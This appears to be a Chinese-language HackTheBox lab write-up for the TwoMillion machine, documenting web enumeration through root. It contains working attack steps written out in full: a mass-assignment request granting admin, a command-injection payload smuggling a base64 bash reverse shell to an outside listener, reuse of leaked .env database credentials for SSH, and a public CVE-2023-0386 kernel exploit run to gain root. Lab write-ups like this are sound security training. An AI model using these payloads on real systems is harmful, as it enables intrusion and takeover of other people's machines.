TwoMillion-htb-writeup

0x00 靶场技能介绍

章节技能:js解密、API参数模糊测试、API接口命令注入、环境变量和用户组敏感信息泄露、CVE-2023-0386、CVE-2023-4911

参考链接:https://mark0.pw/2023/06/10/HackTheBox-TwoMillion-Writeup/

参考链接:https://jackx8x7x.gitbook.io/security-stuff/hackthebox/linux/twomillion

参考链接:

0x01 用户权限获取

1、获取靶机地址:10.10.11.221

2、测试是否能正常链接靶机地址

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/桌面]
└─$ ping 10.10.11.221 -c 4
PING 10.10.11.221 (10.10.11.221) 56(84) bytes of data.
64 bytes from 10.10.11.221: icmp_seq=1 ttl=63 time=373 ms
64 bytes from 10.10.11.221: icmp_seq=2 ttl=63 time=366 ms
64 bytes from 10.10.11.221: icmp_seq=3 ttl=63 time=807 ms
64 bytes from 10.10.11.221: icmp_seq=4 ttl=63 time=368 ms

--- 10.10.11.221 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3011ms
rtt min/avg/max/mdev = 366.021/478.754/807.258/189.680 ms

3、常规nmap探测开放哪些端口服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/桌面]
└─$ sudo nmap -sC -sV -p- 10.10.11.221 -oN 10.10.11.221.txt --min-rate 2000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-30 22:23 CST
Nmap scan report for 10.10.11.221
Host is up (0.30s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.79 seconds

4、我们在探测中发现了 2million.htb 域名信息,按照以往打HTB的经验,我们需要把该域名和靶机IP在本机上做个hosts绑定。

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ echo "10.10.11.221 2million.htb" | sudo tee -a /etc/hosts
[sudo] kali 的密码:
10.10.11.221 2million.htb

5、然后我们访问80端口看看首页是什么

1

6、通过查看首页,我们发现这是旧版本的黑客盒子的网站,通过摸索,大概知道了这个好像是让进行注册个平台账号。

7、通过查看网站源代码,我们看到如下的代码:

8、我们使用chatgpt解释一下看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
这段 JavaScript 代码是使用 jQuery 库进行 AJAX 请求的一部分。让我为你解释一下:

1. `$.ajax({ ... })`: 这是 jQuery 提供的一个函数,用于执行 AJAX 请求。

2. `type: "POST"`: 指定了 HTTP 请求的类型,这里是一个 POST 请求。

3. `dataType: "json"`: 指定了期望从服务器返回的数据类型,这里是 JSON。

4. `data: formData`: 发送到服务器的数据,`formData` 是在代码的其他地方定义的一个变量。

5. `url: '/api/v1/invite/verify'`: 指定了服务器端接收请求的 URL。

6. `success: function(response) { ... }`: 定义了当请求成功完成时执行的函数。`response` 是服务器返回的数据。

a. 检查了 `response` 中的一些属性来确定请求是否成功和返回的数据是否符合预期。

b. 如果符合条件,将邀请码(`code`)存储在本地存储(localStorage)中,并将页面重定向到 '/register'。

c. 如果条件不符合,显示一个警告框,表示邀请码无效。

7. `error: function(response) { ... }`: 定义了当请求失败时执行的函数。显示一个警告框,表示发生了错误,提示用户重试。

这段代码的主要目的是向服务器端发送一个 POST 请求,验证邀请码。如果验证通过,将邀请码存储在本地存储中,并将用户重定向到注册页面;否则,显示一个警告框提示用户邀请码无效。

9、再次翻看网站源代码我发现了相关的js文件

view-source:http://2million.htb/js/inviteapi.min.js

1
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

10、代码是好像混淆过的,看首行是eval,我们把这个参数修改为alert并在console命令行里运行下看看

1
function verifyInviteCode(code){var formData={"code":code};$.ajax({type:"POST",dataType:"json",data:formData,url:'/api/v1/invite/verify',success:function(response){console.log(response)},error:function(response){console.log(response)}})}function makeInviteCode(){$.ajax({type:"POST",dataType:"json",url:'/api/v1/invite/how/to/generate',success:function(response){console.log(response)},error:function(response){console.log(response)}})}

11、可以看出来这个混淆的函数是有2个函数的,分别是verifyInviteCode()和makeInviteCode()

12、然后我们根据函数名,把makeInviteCode()函数在网站的console命令行里运行下看看。

1
2
3
4
5
6
7
8
Object { 0: 200, success: 1, data: {…}, hint: "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..." }
0: 200
data: Object { data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", enctype: "ROT13" }
data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr"
enctype: "ROT13"
<prototype>: Object { … }
hint: "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
success: 1

13、根据提示,我们知道上述的数据应该使用了ROT13进行了加密,我们使用在线的网站解密下看看是什么内容

https://m.jisuan.mobi/WKE.html

1
In order to generate the invite code, make a POST request to /api/v1/invite/generate

14、可以看出是向这个 /api/v1/invite/generate 路径发送个POST包就可以获取到邀请码了,这里使用curl尝试下,最近刚学的用法

1
2
3
┌──(kali㉿kali)-[~]
└─$ curl -X POST -H "Content-Type: application/json" -d '{"key1":"value1"}' http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"SExCUDUtOEdVMTMtM05VNkstQ01LQTk=","format":"encoded"}}

15、还需要对上述code进行解码一下

1
2
3
┌──(kali㉿kali)-[~]
└─$ echo SExCUDUtOEdVMTMtM05VNkstQ01LQTk= | base64 -d
HLBP5-8GU13-3NU6K-CMKA9

16、至此,邀请码正确,我们进入到注册页面了。

17、注册成功后,成功进入到了后台界面。

18、在目录检索操作中也发现了该接口目录 /api/v1 地址,同时通过查看引导模式,我们大概知道了,应该是让通过利用接口的形式进行权限变更。

当用户单击“连接包”时,页面使用的端点路径是什么?

/api/v1/user/vpn/generate

下面有多少个 API 端点/api/v1/admin?

3

哪个 API 端点可以将用户帐户更改为管理员帐户?

/api/v1/admin/settings/update

19、通过不断的模糊测试,成功将当前账号修改为管理员账号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=2h5lsb2hbttlmrqoebafiv7isr
Upgrade-Insecure-Requests: 1
Content-Type:application/json
Content-Length: 44

{
"email":"shiyan@qq.com",
"is_admin":1
}

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Nov 2023 15:54:25 GMT
Content-Type: application/json
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 42

{"id":14,"username":"shiyan","is_admin":1}

20、根据引导提示,应该是哪个API接口存在命令注入漏洞,那我们继续开始尝试其他的接口

哪个 API 端点存在命令注入漏洞?

/api/v1/admin/vpn/generate

PHP 应用程序中通常使用什么文件来存储环境变量值?

.env

21、通过模糊测试应该就是这个接口存在命令注入,但是我这里各种尝试都不成功,只能看看其他人的方法进行命令注入,反弹shell了。

22、通过查看官网PDF文档,原来是我burp没有回显的原因导致了,用curl在命令行是成功回显出来的。

1
2
3
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=c9fokugdh8h75hf5nkorgju3f7" --header "Content-Type: application/json" --data '{"username":"shiyan;id;"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

23、那我们就开始构造反弹shell的命令进行获取 www-data 的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 10086
listening on [any] 10086 ...

┌──(kali㉿kali)-[~]
└─$ echo 'bash -i >& /dev/tcp/10.10.14.114/10086 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTQvMTAwODYgMD4mMQo=

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=an8gg742b8nidj4gn233jcd0oc" --header "Content-Type: application/json" --data '{"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTQvMTAwODYgMD4mMQo= | base64 -d | bash;"}'

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 10086
listening on [any] 10086 ...
connect to [10.10.14.114] from (UNKNOWN) [10.10.11.221] 46286
bash: cannot set terminal process group (1157): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$

24、到这里我们就成功获取到当前网站的shell了,根据上述的引导,我们查看下环境变量的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
www-data@2million:~/html$ ls -la
ls -la
total 56
drwxr-xr-x 10 root root 4096 Dec 1 14:50 .
drwxr-xr-x 3 root root 4096 Jun 6 10:22 ..
-rw-r--r-- 1 root root 87 Jun 2 18:56 .env
-rw-r--r-- 1 root root 1237 Jun 2 16:15 Database.php
-rw-r--r-- 1 root root 2787 Jun 2 16:15 Router.php
drwxr-xr-x 5 root root 4096 Dec 1 14:50 VPN
drwxr-xr-x 2 root root 4096 Jun 6 10:22 assets
drwxr-xr-x 2 root root 4096 Jun 6 10:22 controllers
drwxr-xr-x 5 root root 4096 Jun 6 10:22 css
drwxr-xr-x 2 root root 4096 Jun 6 10:22 fonts
drwxr-xr-x 2 root root 4096 Jun 6 10:22 images
-rw-r--r-- 1 root root 2692 Jun 2 18:57 index.php
drwxr-xr-x 3 root root 4096 Jun 6 10:22 js
drwxr-xr-x 2 root root 4096 Jun 6 10:22 views
www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
www-data@2million:~/html$
www-data@2million:~/html$ ls -la /home
ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Jun 6 10:22 .
drwxr-xr-x 19 root root 4096 Jun 6 10:22 ..
drwxr-xr-x 4 admin admin 4096 Jun 6 10:22 admin
www-data@2million:~/html$

25、好像是账号密码,我们ssh登录下试试看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(kali㉿kali)-[~]
└─$ ssh admin@10.10.11.221
admin@10.10.11.221's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Fri Dec 1 02:55:21 PM UTC 2023

System load: 0.0
Usage of /: 73.4% of 4.82GB
Memory usage: 8%
Swap usage: 0%
Processes: 221
Users logged in: 0
IPv4 address for eth0: 10.10.11.221
IPv6 address for eth0: dead:beef::250:56ff:feb9:f6bf


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
Last login: Tue Jun 6 12:43:11 2023 from 10.10.14.6
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:~$

26、至此,我们成功获取到了用户的权限

1
2
3
admin@2million:~$ cat user.txt 
c164ff2cf362ca0f48fbb7524b497a1e
admin@2million:~$

0x02 系统权限获取

27、常规的,我们看下是否能从sudo错配获取到一些信息

1
2
3
4
admin@2million:~$ sudo -l
[sudo] password for admin:
Sorry, user admin may not run sudo on localhost.
admin@2million:~$

28、看来是GG了,这里什么也获取不到

29、感觉这个靶场有点CTF的感觉了,没有想象中的那么好提权,需要枚举出来一些暗示,或者直接看引导模式,但是看了引导又感觉前后没啥大的关联,不过在看一个大佬的文章时,觉得他的这个还是有些用处的命令。

1
2
3
4
5
6
7
8
admin@2million:~$ find / -type f -group admin 2>/dev/null | grep -v /sys | grep -v /proc
/home/admin/.cache/motd.legal-displayed
/home/admin/.profile
/home/admin/user.txt
/home/admin/.bash_logout
/home/admin/.bashrc
/var/mail/admin
admin@2million:~$

30、通过查看当前用户组的文件,发现了一个可疑的文件,邮箱文件,接下来进行查看该文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
admin@2million:~$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather
admin@2million:~$

31、根据邮件里的提示,看起来是让我们直接找一个Linux的内核漏洞,还是今年的漏洞。

32、看来是发现了一个今年的漏洞的,但是也看到很多同靶机的writeup的文章,不过我们继续用谷歌搜索下该CVE的poc吧

https://github.com/sxlmnwb/CVE-2023-0386

33、我们把这个exp上传到靶机上,进行提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
┌──(kali㉿kali)-[~/桌面]
└─$ scp CVE-2023-0386-master.zip admin@10.10.11.221:/home/admin/CVE-2023-0386-master.zip
admin@10.10.11.221's password:
CVE-2023-0386-master.zip 100% 11KB 19.3KB/s 00:00

admin@2million:~$ cp CVE-2023-0386-master.zip /tmp/
admin@2million:~$ cd tmp
-bash: cd: tmp: No such file or directory
admin@2million:~$ cd /tmp
admin@2million:/tmp$ unzip CVE-2023-0386-master.zip
Archive: CVE-2023-0386-master.zip
737d8f4af6b18123443be2aed97ade5dc3757e63
creating: CVE-2023-0386-master/
inflating: CVE-2023-0386-master/Makefile
inflating: CVE-2023-0386-master/README.md
inflating: CVE-2023-0386-master/exp.c
inflating: CVE-2023-0386-master/fuse.c
inflating: CVE-2023-0386-master/getshell.c
creating: CVE-2023-0386-master/ovlcap/
extracting: CVE-2023-0386-master/ovlcap/.gitkeep
creating: CVE-2023-0386-master/test/
inflating: CVE-2023-0386-master/test/fuse_test.c
inflating: CVE-2023-0386-master/test/mnt
inflating: CVE-2023-0386-master/test/mnt.c
admin@2million:/tmp$ cd CVE-2023-0386-master/
admin@2million:/tmp/CVE-2023-0386-master$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function ‘read_buf_callback’:
fuse.c:106:21: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘off_t’ {aka ‘long int’} [-Wformat=]
106 | printf("offset %d\n", off);
| ~^ ~~~
| | |
| int off_t {aka long int}
| %ld
fuse.c:107:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=]
107 | printf("size %d\n", size);
| ~^ ~~~~
| | |
| int size_t {aka long unsigned int}
| %ld
fuse.c: In function ‘main’:
fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration]
214 | while (read(fd, content + clen, 1) > 0)
| ^~~~
| fread
fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
216 | close(fd);
| ^~~~~
| pclose
fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration]
221 | rmdir(mount_path);
| ^~~~~
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c
admin@2million:/tmp/CVE-2023-0386-master$ ./fuse ./ovlcap/lower ./gc &
[1] 3849
admin@2million:/tmp/CVE-2023-0386-master$ [+] len of gc: 0x3ee0

admin@2million:/tmp/CVE-2023-0386-master$ ls
exp exp.c fuse fuse.c gc getshell.c Makefile ovlcap README.md test
admin@2million:/tmp/CVE-2023-0386-master$ ./exp
uid:1000 gid:1000
[+] mount success
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root root 4096 Dec 1 15:49 .
drwxrwxr-x 6 root root 4096 Dec 1 15:49 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:/tmp/CVE-2023-0386-master# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)
root@2million:/tmp/CVE-2023-0386-master# cat /root/root.txt
bb5dd763af38023978d9490e97622cd7
root@2million:/tmp/CVE-2023-0386-master#

34、至此,我们拿到了root的权限,在这个寻找exp和运行exp的过程中,还是产生了,很多问题的,比如我一直运行不成功,最后发现我仿照着官方PDF里的命令,增加了&结果就成功了。

1
./fuse ./ovlcap/lower ./gc &

35、说实话,打这个靶机,总感觉像CTF一样,有点讨厌的感觉,捂脸。。。

36、小插曲,当靶场结束的时候,没想到引导模式还没结束,我跟着引导模式答疑了,下感觉还是有点意思的小发现。

1
2
3
4
5
6
7
8
9
10
[Alternative Priv Esc] TwoMillion 上的 GLIBC 库的版本是什么?
2.35
查询操作:ldd --version

[Alternative Priv Esc] GNU C 动态加载器中的 2023 缓冲区溢出漏洞的 CVE ID 是什么?
CVE-2023-4911

[Alternative Priv Esc] 使用 admin 或 www-data 的 shell,找到 Looney Tunables 的 POC。触发缓冲区溢出的环境变量的名称是什么?回答完这个问题后,运行 POC 并以 root 身份获取 shell。
GLIBC_TUNABLES

37、然后我还发现了官方的网站推文,嘿嘿。

https://www.hackthebox.com/blog/exploiting-the-looney-tunables-vulnerability-cve-2023-4911

0x03 通关凭证展示

https://www.hackthebox.com/achievement/machine/1705469/547


TwoMillion-htb-writeup
https://sh1yan.top/2023/12/02/TwoMillion-htb-writeup/
作者
shiyan
发布于
2023年12月2日
许可协议